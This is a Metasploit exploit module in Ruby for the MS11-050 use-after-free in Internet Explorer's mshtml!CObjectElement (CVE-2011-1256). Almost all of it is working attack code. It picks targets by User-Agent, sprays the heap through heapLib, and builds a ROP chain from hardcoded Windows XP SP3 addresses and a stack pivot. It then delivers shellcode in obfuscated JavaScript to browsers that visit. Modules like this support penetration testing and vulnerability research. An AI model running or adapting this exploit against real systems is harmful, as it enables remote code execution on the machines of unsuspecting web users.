MS11-050 IE mshtml!CObjectElement Use After Free

##
# $Id: ms11_050_mshtml_cobjectelement.rb 12962 2011-06-17 01:56:20Z swtornio $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GreatRanking

 include Msf::Exploit::Remote::HttpServer::HTML
 include Msf::Exploit::Remote::BrowserAutopwn
 autopwn_info({
  :ua_name    => HttpClients::IE,
  :ua_minver  => "7.0",
  :ua_maxver  => "8.0",
  :javascript => true,
  :os_name    => OperatingSystems::WINDOWS,
  :vuln_test  => nil,
 })

 def initialize(info={})
  super(update_info(info,
   'Name'           => "MS11-050 IE mshtml!CObjectElement Use After Free",
   'Description'    => %q{
     This module exploits a use-after-free vulnerability in Internet Explorer. The
    vulnerability occurs when an invalid <object> tag exists and other elements overlap/cover
    where the object tag should be when rendered (due to their styles/positioning). The
    mshtml!CObjectElement is then freed from memory because it is invalid. However, the
    mshtml!CDisplay object for the page continues to keep a reference to the freed <object> and
    attempts to call a function on it, leading to the use-after-free.
   },
   'License'        => MSF_LICENSE,
   'Version'        => "$Revision: 12962 $",
   'Author'         =>
    [
     'd0c_s4vage',
    ],
   'References'     =>
    [
     ['CVE', '2011-1256'],
     ['OSVDB', '72948'],
     ['MSB', 'MS11-050'],
     ['URL', 'http://d0cs4vage.blogspot.com/2011/06/insecticides-dont-kill-bugs-patch.html'],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
     'InitialAutoRunScript' => 'migrate -f',
    },
   'Payload'        =>
    {
     'Space'    => 500,
     'BadChars' => "\x00\x09\x0a\x0d'\\",
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Automatic', { } ],

     # In IE6 the mshtml!CObjectElement size is 0xac
     [
      'Win XP SP3 Internet Explorer 7', # 7.0.5730.13
      {
       # sizeof(mshtml!CObjectElement)
       'FreedObjSize' =>  0xb0,
       'FakeObjCount' => 0x4000,
       'FakeObjCountKeep' => 0x2000,
       'ForLoopNumObjects' => 3,
       'FreedObjOverwritePointer'=>0x0c0c0c0c,
       'FreedObjOffsetAlignSize'=>0,
       'ROP' => false,
      }
     ],

     [
      'Win XP SP3 Internet Explorer 8 (no DEP)', # 8.0.6001.18702
      {
       # sizeof(mshtml!CObjectElement)
       'FreedObjSize' =>  0xe0, # 0xdc rounded up
       'FakeObjCount' => 0x8000,
       'FakeObjCountKeep' => 0x3000,
       'ForLoopNumObjects' => 5,
       'FreedObjOverwritePointer'=>0x0c0c0c0c,
       'FreedObjOffsetAlignSize'=>0,
       'ROP' => false,
      }
     ],

     [
      'Win XP SP3 Internet Explorer 8',
      {
       'FreedObjSize' =>  0xe0, # 0xdc rounded up
       'FakeObjCount' => 0x8000,
       'FakeObjCountKeep' => 0x3000,
       'ForLoopNumObjects' => 5,
       'FreedObjOverwritePointer'=>0x0c0c0c0c,
       'FreedObjOffsetAlignSize'=>2,
       #'StackPivot'=>0x773E3F18, # xchg eax,esp / ret - comctl32.dll
       'StackPivot' => 0x7E45F257, #xchg eax,esp - USER32.dll
       'ROP' => true,
      }
     ],

     [
      'Debug Target (Crash)', {}
     ],
    ],
   'DisclosureDate' => "Jun 16 2011",
   'DefaultTarget'  => 0))
 end

 def auto_target(cli, request)
  agent = request.headers['User-Agent']
  if agent =~ /MSIE 8\.0/
   mytarget = targets[3] # IE 8
  elsif agent =~ /MSIE 7\.0/
   mytarget = targets[1]
  else
   print_error("Unknown User-Agent #{agent} from #{cli.peerhost}:#{cli.peerport}")
  end

  mytarget
 end

 # 3/22/2011
 # fully patched x32 WinXP SP3, IE 8.0.6001.18702
 def winxp_sp3_rva
  {
   #"kernel32!VirtualAlloc"  => 0x7c809af1,
   "kernel32!VirtualAlloc" => 0x7c809ae1,
   "ntdll!memcpy"           => 0x7c901db3,
  }
 end

 def compile_rop(rop_stack)
  rva = winxp_sp3_rva()
  num_random = 0
  rop_stack.map do |rop_val|
   case rop_val
   when String
    if rop_val == "random"
     # useful for debugging
     # num_random += 1
     # 0xaabbcc00 + num_random
     rand(0xffffffff)
    else
     raise RuntimeError, "Unable to locate key: #{rop_val.inspect}" unless rva[rop_val]
     rva[rop_val]
    end
   when Integer
    rop_val
   else
    raise RuntimeError, "unknown rop_val: #{rop_val.inspect}, #{rop_val.class}"
   end
  end.pack("V*")
 end

 def on_request_uri(cli, request)
  mytarget = target
  if target.name == 'Automatic'
   mytarget = auto_target(cli, request)
   unless mytarget
    send_not_found(cli)
    return
   end
  end
  @mytarget = mytarget
  @debug = true if mytarget == targets[4]

  return if ((p = regenerate_payload(cli)) == nil)
  
  id_name  = rand_text_alpha(5)
  dir_name = rand_text_alpha(3)

  if @debug
   data = <<-DATA
   <html>
   <body>
   <script language='javascript'>
   document.body.innerHTML += "<object align='right' hspace='1000' width='1000'></object>";
   document.body.innerHTML += "<a id='#{id_name}' style='bottom:200cm;float:left;padding-left:-1000px;border-width:2000px;text-indent:-1000px' ></a>";
   document.body.innerHTML += "AAAAAAA";
   document.body.innerHTML += "<strong style='font-size:1000pc;margin:auto -1000cm auto auto;' dir='#{dir_name}'></strong>";
   </script>
   </body>
   </html>
   DATA

   print_status("Triggering #{self.name} vulnerability at #{cli.peerhost}:#{cli.peerport} (target: #{mytarget.name})...")
   send_response(cli, data, { 'Content-Type' => 'text/html' })
   return
  end

  raw_shellcode = payload.encoded
  shellcode = Rex::Text.to_unescape(raw_shellcode, Rex::Arch.endian(mytarget.arch))

  spray = nil
  rop_shellcode_spray = nil

  obj_overwrite_ptr = [@mytarget['FreedObjOverwritePointer']].pack("V")

  if @mytarget['ROP']
   rop_stack = []
   0x1f.times do |i|
    rop_stack << "random"
   end

   idx = -1
   idx += 1 ; rop_stack[idx] = "kernel32!VirtualAlloc"   # 1:
   idx += 1 ; rop_stack[idx] = "ntdll!memcpy"            # 2:ret 10 to this after VirtualAlloc
   idx += 1 ; rop_stack[idx] = 0x7f000000                # 1:VirtualAlloc:lpAddress
   idx += 1 ; rop_stack[idx] = 0x4000                    # 1:VirtualAlloc:dwSize
   idx += 1 ; rop_stack[idx] = (0x1000 | 0x2000)         # 1:VirtualAlloc:flAllocationType MEM_COMMIT | MEM_RESERVE
   idx += 1 ; rop_stack[idx] = 0x40                      # 1:VirtualAlloc:flProtect rwx
   idx += 1 ; rop_stack[idx] = 0x7f001000                # 3:into this after memcpy
   idx += 1 ; rop_stack[idx] = 0x7f001000                # 2:memcpy:dst
   idx += 1 ; rop_stack[idx] = 0x23000100                # 2:memcpy:src
   idx += 1 ; rop_stack[idx] = 0x2fff                    # 2:memcpy:size

   # align the rest of it
   back = rop_stack.slice!((rop_stack.length-1)-2, rop_stack.length)
   rop_stack = back + rop_stack

   rop_stack << @mytarget['StackPivot']

   # align the stack for 0c0c0c0c
   front = rop_stack.slice!(0, 19)
   rop_stack = rop_stack + front

   # resolve strings in the rop_stack array (kernel32!VirtualAlloc, random, etc)
   rop = compile_rop(rop_stack)

   nops = make_nops(0x1000 - raw_shellcode.length)
   nops = Rex::Text.to_unescape(nops, Rex::Arch.endian(mytarget.arch))

   #spray up to 0x23000000
   rop_shellcode_spray = <<-JS
   var shellcode = unescape("#{shellcode}");
   var nops = unescape("#{nops}");
   while(nops.length < 0x1000) nops += nops;
    var shell_heapblock = nops.substring(0, 0x800-shellcode.length) + shellcode;
    while(shell_heapblock.length < 0x40000) shell_heapblock += shell_heapblock;
     var shell_finalspray = shell_heapblock.substring(0, (0x20000-6)/2);
     for(var shell_counter = 0; shell_counter < 0x1000; shell_counter++) { heap_obj.alloc(shell_finalspray); }
   JS

   spray = rop
   shellcode = ""
  else
   spray = obj_overwrite_ptr
  end

  spray = Rex::Text.to_unescape(spray, Rex::Arch.endian(mytarget.arch))

  js = <<-JS
  heap_obj = new heapLib.ie(0x20000);
  var heapspray = unescape("#{spray}");
  while(heapspray.length < 0x1000) heapspray += heapspray;
   var shellcode = unescape("#{shellcode}");
   var heapblock = heapspray.substring(0, (0x800-shellcode.length)) + shellcode;
   var offset = #{[targets[1], targets[2]].include?(@mytarget) ? "0x400" : "0"};
   var front = heapblock.substring(0, offset);
   var end = heapblock.substring(offset);
   heapblock = end + front;
   while(heapblock.length < 0x20000) heapblock += heapblock;
    finalspray = heapblock.substring(0, (0x10000-6)/2);
    for(var counter1 = 0; counter1 < 0x1000; counter1++) { heap_obj.alloc(finalspray); }

    #{rop_shellcode_spray}

    var obj_overwrite = unescape("#{Rex::Text.to_unescape(obj_overwrite_ptr, Rex::Arch.endian(mytarget.arch))}");
    while(obj_overwrite.length < #{@mytarget['FreedObjSize']}) { obj_overwrite += obj_overwrite; }
    obj_overwrite = obj_overwrite.slice(0, (#{@mytarget['FreedObjSize']}-6)/2);

    for(var num_objs_counter = 0; num_objs_counter < #{@mytarget['ForLoopNumObjects']}; num_objs_counter++) {
     document.body.innerHTML += "<object align='right' hspace='1000' width='1000'>TAG_1</object>";
    }

    for(var counter4 = 0; counter4 < #{@mytarget['FakeObjCountKeep']}; counter4++) { heap_obj.alloc(obj_overwrite, "keepme1"); }
    for(var counter5 = 0; counter5 < #{@mytarget['FakeObjCountKeep']}; counter5++) { heap_obj.alloc(obj_overwrite, "keepme2"); }

    document.body.innerHTML += "<a id='tag_3' style='bottom:200cm;float:left;padding-left:-1000px;border-width:2000px;text-indent:-1000px' >TAG_3</a>";
    document.body.innerHTML += "AAAA";
    document.body.innerHTML += "<strong style='font-size:1000pc;margin:auto -1000cm auto auto;' dir='ltr'>TAG_11</strong>";
  JS

  js = heaplib(js)
  js = ::Rex::Exploitation::JSObfu.new(js)
  js.obfuscate

  html = <<-HTML
  <html>
  <body>
  <script language='javascript'>
  #{js}
  </script>
  </body>
  </html>
  HTML

  print_status("Sending exploit for #{self.name} to #{cli.peerhost}:#{cli.peerport} (target: #{mytarget.name})...")

  send_response(cli, html, {'Content-Type'=>'text/html'})
 end
end